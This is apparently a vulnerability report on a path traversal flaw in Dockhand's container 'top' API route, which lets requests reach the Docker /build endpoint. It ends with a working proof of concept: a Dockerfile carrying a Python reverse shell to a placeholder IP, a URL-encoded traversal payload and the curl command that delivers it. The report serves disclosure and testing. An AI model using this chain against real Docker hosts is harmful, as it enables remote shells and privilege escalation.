Hack. Eat. Sleep. Repeat!!!
A vulnerability exists in dockhand-main/src/routes/api/containers/[id]/top/+server.ts allowIng an attacker to pass unsanitized values(../) as params.id which is passed to ` execInContainer in dockhand-main/src/lib/server/docker.ts .This allows an attacker to move up the route, call docker endpoint /build` to build a malicious container with full host network access allowing an attacker to map the entire host network which creates a new attack surface for attackers
, params.id gets passed to the function without getting filtered allowing an attacker to pass ../` to move up an endpoint to load a sensitive endpoint-://LIne 52
//api /containers/[id]/top
const output = await execInContainer(params.id, cmd, envIdNum);
// Check if output looks like an error message (BusyBox error, etc.)
if (output.includes('unrecognized option') || output.includes('Usage:') || output.includes('BusyBox')) {
continue;
}
execInContainer in dockhand-main/src/lib/server/docker.ts, The point stated above is widespread over the code but I picked this function because /build requires POST http method to get loaded which is used in the function..-://line 3247
export async function execInContainer(
containerId: string,
cmd: string[],
envId?: number | null
): Promise<string> {
// Create exec instance
const execCreate = await dockerJsonRequest<{ Id: string }>(
`/containers/${containerId}/exec`,
{
method: 'POST',
body: JSON.stringify({
Cmd: cmd,
AttachStdout: true,
AttachStderr: true,
Tty: false
})
},
envId
);
/build route in docker daemon api allows users to build container from a remote url with the remote parameter along with the networkMode parameter set to host which grants full host network access. It reduces the impact but in some machine docker daemon might be exposed on localhost:2375 which can allow an attacker to build malicious container and breakout as root serving as a Privilege Escalation vector.Docker docs-:python3 -m http.server 8000
FROM alpine:latest
RUN apk add --no-cache curl jq python3 bash
RUN python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<ip>",8000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
../build?remote=http://<url>/Dockerfile&t=sweptme:latest&networkmode=host&version=1#/top
curl --path-as-is http://<url>/api/containers/%2e%2e%2fbuild%3fremote=<url urlencoded>%26t=sweptme:latest%26networkmode=host%26version=1%23/top?env=1